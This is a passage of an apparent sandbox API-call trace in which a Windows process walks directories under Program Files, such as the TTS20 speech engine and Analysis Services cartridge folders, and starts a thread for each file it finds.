returned 0x20 [0094.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef70) returned 1 Thread: id = 573 os_tid = 0xeb8 [0094.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b6d0 [0094.696] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0094.697] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0094.697] wcscat (in: _Dest=0x1b85b6d0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" [0094.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63b30 [0094.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0094.697] wcscmp (_String1=".", _String2=".") returned 0 [0094.697] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.697] wcscmp (_String1="..", _String2=".") returned 1 [0094.697] wcscmp (_String1="..", _String2="..") returned 0 [0094.697] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.697] wcscmp (_String1="en-US", _String2=".") returned 1 [0094.697] wcscmp (_String1="en-US", _String2="..") returned 1 [0094.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b880 [0094.697] wcscpy (in: _Dest=0x1b85b880, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0094.698] wcscat (in: _Dest=0x1b85b880, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0094.698] wcscat (in: _Dest=0x1b85b880, _Source="en-US" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0097.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0097.584] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0097.584] wcscmp (_String1="MSTTSCommon.dll", _String2=".") returned 1 [0097.584] wcscmp (_String1="MSTTSCommon.dll", _String2="..") returned 1 [0097.584] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0097.584] wcscmp (_String1="MSTTSEngine.dll", _String2=".") returned 1 [0097.584] wcscmp (_String1="MSTTSEngine.dll", _String2="..") returned 1 [0097.584] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0097.585] wcscmp (_String1="MSTTSLoc.dll", _String2=".") returned 1 [0097.585] wcscmp (_String1="MSTTSLoc.dll", _String2="..") returned 1 [0097.585] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0097.585] FindClose (in: hFindFile=0x1cd9c730 | out: hFindFile=0x1cd9c730) returned 1 [0097.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63b30) returned 1 [0097.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 [0097.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 Thread: id = 574 os_tid = 0xebc [0094.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad2a0 [0094.699] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0094.699] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0094.699] wcscat (in: _Dest=0x1b7ad2a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*" [0094.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63650 [0094.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0094.703] wcscmp (_String1=".", _String2=".") returned 0 [0094.703] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.703] wcscmp (_String1="..", _String2=".") returned 1 [0094.703] wcscmp (_String1="..", _String2="..") returned 0 [0094.703] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0094.703] wcscmp (_String1="as80.xsl", _String2=".") returned 1 [0094.703] wcscmp (_String1="as80.xsl", _String2="..") returned 1 [0094.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11600 [0094.703] wcscpy (in: _Dest=0x1ce11600, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0094.703] wcscat (in: _Dest=0x1ce11600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0094.703] wcscat (in: _Dest=0x1ce11600, _Source="as80.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0097.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0097.587] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0097.587] wcscmp (_String1="as90.xsl", _String2=".") returned 1 [0097.587] wcscmp (_String1="as90.xsl", _String2="..") returned 1 [0097.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b861b70 [0097.587] wcscpy (in: _Dest=0x1b861b70, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.587] wcscat (in: _Dest=0x1b861b70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.588] wcscat (in: _Dest=0x1b861b70, _Source="as90.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0097.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0097.589] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0097.589] wcscmp (_String1="Informix.xsl", _String2=".") returned 1 [0097.589] wcscmp (_String1="Informix.xsl", _String2="..") returned 1 [0097.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b861c20 [0097.589] wcscpy (in: _Dest=0x1b861c20, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.589] wcscat (in: _Dest=0x1b861c20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.589] wcscat (in: _Dest=0x1b861c20, _Source="Informix.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0097.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0097.590] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0097.590] wcscmp (_String1="msjet.xsl", _String2=".") returned 1 [0097.590] wcscmp (_String1="msjet.xsl", _String2="..") returned 1 [0097.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b861cd0 [0097.591] wcscpy (in: _Dest=0x1b861cd0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.591] wcscat (in: _Dest=0x1b861cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.591] wcscat (in: _Dest=0x1b861cd0, _Source="msjet.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0097.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0097.591] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0097.591] wcscmp (_String1="sql2000.xsl", _String2=".") returned 1 [0097.592] wcscmp (_String1="sql2000.xsl", _String2="..") returned 1 [0097.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b861d80 [0097.592] wcscpy (in: _Dest=0x1b861d80, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.592] wcscat (in: _Dest=0x1b861d80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.592] wcscat (in: _Dest=0x1b861d80, _Source="sql2000.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0097.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0097.593] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0097.594] wcscmp (_String1="sql70.xsl", _String2=".") returned 1 [0097.594] wcscmp (_String1="sql70.xsl", _String2="..") returned 1 [0097.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b861e30 [0097.594] wcscpy (in: _Dest=0x1b861e30, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.594] wcscat (in: _Dest=0x1b861e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.594] wcscat (in: _Dest=0x1b861e30, _Source="sql70.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0097.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0097.595] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0097.595] wcscmp (_String1="sql90.xsl", _String2=".") returned 1 [0097.595] wcscmp (_String1="sql90.xsl", _String2="..") returned 1 [0097.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b861ee0 [0097.595] wcscpy (in: _Dest=0x1b861ee0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.595] wcscat (in: _Dest=0x1b861ee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.595] wcscat (in: _Dest=0x1b861ee0, _Source="sql90.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0097.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0097.596] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0097.596] wcscmp (_String1="Sybase.xsl", _String2=".") returned 1 [0097.596] wcscmp (_String1="Sybase.xsl", _String2="..") returned 1 [0097.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b861f90 [0097.596] wcscpy (in: _Dest=0x1b861f90, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0097.596] wcscat (in: _Dest=0x1b861f90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0097.596] wcscat (in: _Dest=0x1b861f90, _Source="Sybase.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0097.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0097.597] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0097.598] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0097.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63650) returned 1 [0097.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0097.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c960) returned 1 Thread: id = 575 os_tid = 0xec0 [0094.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7add40 [0094.704] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0094.704] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0094.704] wcscat (in: _Dest=0x1b7add40, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*" [0094.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd633e0 [0094.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c610 [0094.705] 